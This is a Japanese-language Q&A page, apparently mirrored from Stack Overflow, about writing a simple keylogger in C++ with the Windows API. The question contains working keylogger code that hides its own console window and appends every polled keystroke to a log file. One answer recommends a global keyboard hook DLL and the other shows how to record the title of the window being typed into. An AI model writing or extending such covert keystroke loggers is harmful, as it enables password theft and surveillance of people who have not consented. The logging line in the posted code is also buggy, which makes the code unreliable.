4

WinAPI を使用して C++ で簡単なキーロガーを作成しようとしています。ユーザーがキャプチャされたキーストロークを入力しているアプリケーションを取得する方法はありますか? そして、これまでの私のコードは次のとおりです。

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    char i;

while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
        {
            FILE *OUTPUT_FILE;
            OUTPUT_FILE = fopen("LOG.txt", "a+");
            int c=static_cast<int>(i);
            fprintf(OUTPUT_FILE, "%s", &c);
            fclose (OUTPUT_FILE);
        }
    }
}
system ("PAUSE");
return 0;
}
4

2 に答える 2

3

あなたが欲しいのはグローバルキーボードフックです

グローバル フックは、呼び出しスレッドと同じデスクトップ内のすべてのスレッドのメッセージを監視します。スレッド固有のフックは、個々のスレッドのみのメッセージを監視します。グローバル フック プロシージャは、呼び出しスレッドと同じデスクトップ内の任意のアプリケーションのコンテキストで呼び出すことができるため、プロシージャは別の DLL モジュール内にある必要があります。スレッド固有のフック プロシージャは、関連するスレッドのコンテキストでのみ呼び出されます。アプリケーションが独自のスレッドの 1 つにフック プロシージャをインストールする場合、フック プロシージャは、アプリケーションの残りのコードと同じモジュールまたは DLL のいずれかに配置できます。アプリケーションが別のアプリケーションのスレッドのフック プロシージャをインストールする場合、プロシージャは DLL 内にある必要があります。詳細については、ダイナミック リンク ライブラリを参照してください。

于 2013-03-13T18:04:16.827 に答える
0

質問は「ユーザーがキャプチャしたキーストロークを入力しているアプリケーションを取得する方法はありますか?」です。HWND WINAPI GetForegroundWindow(void); を使用すると思います。

例えば:

char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));

cWindow では、ユーザーが入力しているウィンドウのタイトルを取得します。

于 2013-03-17T20:48:19.727 に答える